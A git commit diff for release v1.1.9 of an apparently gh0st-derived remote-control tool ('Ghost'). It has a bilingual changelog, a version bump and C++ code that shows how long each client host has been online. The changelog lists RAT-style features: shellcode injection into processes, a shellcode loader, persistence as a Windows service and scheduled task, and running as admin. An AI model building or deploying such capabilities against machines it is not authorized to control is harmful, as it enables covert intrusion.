Release v1.1.9

This commit is contained in:
yuanyuanxiang
2025-12-14 08:57:58 +01:00
parent c7b0a0f218
commit 52239dbfba
8 changed files with 114 additions and 7 deletions

View File

@@ -388,6 +388,48 @@ Release v1.1.4
* 插件: 添加示例插件项目供参考 * 插件: 添加示例插件项目供参考
* 新功能: 为进程管理添加 shellcode 注入功能 * 新功能: 为进程管理添加 shellcode 注入功能
**2025.12.14**
发布版本 v1.1.9
本次更新重点提升客户端稳定性与运行模式、优化远程桌面性能,并新增多项实用功能。
* 改进: 修改 client/SimpleSCLoader.c
* 功能: 在进程管理中支持反黑屏功能
* 改进: 为 `SCLoader` 添加调试代码
* 功能: 在客户端构建选项中添加 `TinyRun.dll`
* 修复: 查看注册表导致主控程序崩溃的问题
* 修复: 打开密码生成对话框会修改最大连接数
* 功能: 在远程桌面控制中支持录制视频
* 功能: 支持客户端以 Windows 服务方式运行
* 功能: 为主控程序添加参数设置菜单
* 功能: 在远程控制中添加切换屏幕的菜单
* 修复: 注册表错误,并使用 [MT] 重新编译 zlib、x264 和 libyuv
* 功能: 为程序添加启动进度显示
* 改进: 将多线程压缩设置为远程控制的可选项
* 改进: 使用 SSE2 提升位图比较速度
* 改进: 代码风格调整,并使用优化选项重新编译 zstd
* 修复: 客户端死机问题,改进大数据包发送
* 改进: 减少 IOCPServer 中 new/delete 内存的频率
* 修复: 某些情况下 "std::runtime_error" 导致崩溃
* 修复: TestRun (MDLL) 配置不生效的问题
* 功能: 支持将 TestRun 构建为 Windows 服务
* 改进: 通过异步消息处理提升主控端效率
* 改进: 请求以管理员身份运行主控程序
* 功能: 为在线主机添加 shellcode 注入菜单
* 修复: `Ghost` 以 Windows 服务方式运行失败
* 日志: 为 FileUpload 库和服务安装添加日志
* 修复: 使用自定义结构体替代 char 缓冲区
* 修复: 使用 DXGI 时禁用 SSE2会导致崩溃
* 修复 (Windows 服务): 移除 AI 产生的冗余代码
* 改进: 将客户端以管理员运行改为可选项
* 修复: AudioManager 错误,移除 struct dlgInfo
* 修复: 注册计划任务失败的问题,并添加日志
* 修复: 主控和客户端之间复制文本需要延迟
* 改进: 在客户端构建选项中添加 `runasAdmin`
* 修复: 客户端离线问题和虚拟桌面打开问题
* 改进: 为客户端程序计算唯一 ID
--- ---
# 6.其他项目 <a id="6-other-projects"></a> # 6.其他项目 <a id="6-other-projects"></a>

View File

@@ -405,6 +405,48 @@ and adds a plugin example.
* plugin: Add an example plugin project for reference * plugin: Add an example plugin project for reference
* Feature: Add shellcode injection feature for process management * Feature: Add shellcode injection feature for process management
**2025.12.14**
Release v1.1.9
This update focuses on improving client stability and running modes, optimizing remote desktop performance, and adding several practical features.
* Improve: Modify client/SimpleSCLoader.c
* Feature: Support anti black-screen in process management
* Improve: Add debug code for `SCLoader`
* Feature: Add `TinyRun.dll` to client building option
* fix: Viewing registry causing master program crash
* fix: Open password gen dialog will modify max connection
* Feature: Support recording video in remote desktop control
* Feature: Support client running as windows service
* Feature: Add parameters setting menu for master program
* Feature: Add menu to switch screen for remote control
* fix: Registry error and use [MT] to rebuild zlib, x264 and libyuv
* Feature: Add a startup progress display to the program
* Improve: Set multi-thread compression as a option for remote control
* Improve: Using SSE2 to improve bitmap compare speed
* Improve: Code style change and rebuild zstd with optimization options
* fix: Client dead issue and improve sending large packet
* Improve: Reduce new / delete memory frequency in IOCPServer
* fix: "std::runtime_error" causing crashes in some cases
* fix: TestRun (MDLL) configuration doesn't take effort
* Feature: Support build TestRun as windows service
* Improve: Master efficiency by using asynchronous message processing
* Improve: Ask for running master with administrator
* Feature: Add menu (online host) for injecting shellcode
* fix: `Ghost` run as windows service failed
* logs: Add log for FileUpload libraries and service installing
* fix: Use self-defined struct to replace char buffer
* fix: Disable SSE2 (which causes crash) while using DXGI
* fix (Windows Service): Remove the shit dropped by AI
* Improve: Change running client as admin to an option
* fix: AudioManager bug and remove struct dlgInfo
* fix: Register schedule task failed issue and add logs
* fix: Copy text between master and client need a delay
* Improve: Add `runasAdmin` to client building options
* fix: Client offline issue and virtual desktop opening issue
* Improve: Calculate unique ID for client program
--- ---
# 6. Related Projects # 6. Related Projects

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,1,8 FILEVERSION 1,0,1,9
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.1.8" VALUE "FileVersion", "1.0.1.9"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

Binary file not shown.

Binary file not shown.

View File

@@ -777,7 +777,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
m_CList_Online.SetItemData(i, (DWORD_PTR)ContextObject); m_CList_Online.SetItemData(i, (DWORD_PTR)ContextObject);
} }
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : ""; std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线"); ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]");
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
std::to_string(id).c_str()); std::to_string(id).c_str());
@@ -1673,6 +1673,12 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
} }
} }
std::string floatToString(float f) {
char buf[32];
snprintf(buf, sizeof(buf), "%.2f", f);
return std::string(buf);
}
void CMy2015RemoteDlg::OnOnlineDelete() void CMy2015RemoteDlg::OnOnlineDelete()
{ {
// TODO: 在此添加命令处理程序代码 // TODO: 在此添加命令处理程序代码
@@ -1691,9 +1697,13 @@ void CMy2015RemoteDlg::OnOnlineDelete()
context* ctx = (context*)m_CList_Online.GetItemData(iItem); context* ctx = (context*)m_CList_Online.GetItemData(iItem);
m_CList_Online.DeleteItem(iItem); m_CList_Online.DeleteItem(iItem);
m_HostList.erase(ctx); m_HostList.erase(ctx);
auto tm = ctx->GetAliveTime();
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
ctx->Destroy(); ctx->Destroy();
strIP+="断开连接"; strIP+="断开连接";
ShowMessage("操作成功",strIP); ShowMessage("操作成功",strIP + "[" + aliveInfo.c_str() + "]");
} }
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
} }
@@ -2531,7 +2541,11 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
auto ctx = (context*)m_CList_Online.GetItemData(i); auto ctx = (context*)m_CList_Online.GetItemData(i);
m_CList_Online.DeleteItem(i); m_CList_Online.DeleteItem(i);
m_HostList.erase(ctx); m_HostList.erase(ctx);
ShowMessage("操作成功", ip + "主机下线"); auto tm = ctx->GetAliveTime();
std::string aliveInfo = tm>=86400 ? floatToString(tm / 86400.f) + " d" :
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
ShowMessage("操作成功", ip + "主机下线[" + aliveInfo.c_str() + "]");
break; break;
} }
} }
@@ -3718,9 +3732,13 @@ void CMy2015RemoteDlg::OnOnlineUninstall()
context* ctx = (context*)m_CList_Online.GetItemData(iItem); context* ctx = (context*)m_CList_Online.GetItemData(iItem);
m_CList_Online.DeleteItem(iItem); m_CList_Online.DeleteItem(iItem);
m_HostList.erase(ctx); m_HostList.erase(ctx);
auto tm = ctx->GetAliveTime();
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
ctx->Destroy(); ctx->Destroy();
strIP += "断开连接"; strIP += "断开连接";
ShowMessage("操作成功", strIP); ShowMessage("操作成功", strIP + "[" + aliveInfo.c_str() + "]");
} }
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
} }

View File

@@ -329,7 +329,7 @@ public:
virtual int GetServerPort() const = 0; virtual int GetServerPort() const = 0;
virtual FlagType GetFlagType() const = 0; virtual FlagType GetFlagType() const = 0;
virtual std::string GetGroupName() const = 0; virtual std::string GetGroupName() const = 0;
virtual uint64_t GetAliveTime()const = 0;
public: public:
virtual ~context() {} virtual ~context() {}
virtual void Destroy() {} virtual void Destroy() {}
@@ -381,6 +381,7 @@ public:
ikcpcb* kcp = nullptr; // 新增指向KCP会话 ikcpcb* kcp = nullptr; // 新增指向KCP会话
std::string GroupName; // 分组名称 std::string GroupName; // 分组名称
CLock SendLock; // fix #214 CLock SendLock; // fix #214
time_t OnlineTime; // 上线时间
// 预分配的解压缩缓冲区,避免频繁内存分配 // 预分配的解压缩缓冲区,避免频繁内存分配
PBYTE DecompressBuffer = nullptr; PBYTE DecompressBuffer = nullptr;
@@ -481,6 +482,10 @@ public:
bLogin = FALSE; bLogin = FALSE;
m_bProxyConnected = FALSE; m_bProxyConnected = FALSE;
server = svr; server = svr;
OnlineTime = time(0);
}
uint64_t GetAliveTime()const {
return time(0) - OnlineTime;
} }
Server* GetServer() Server* GetServer()
{ {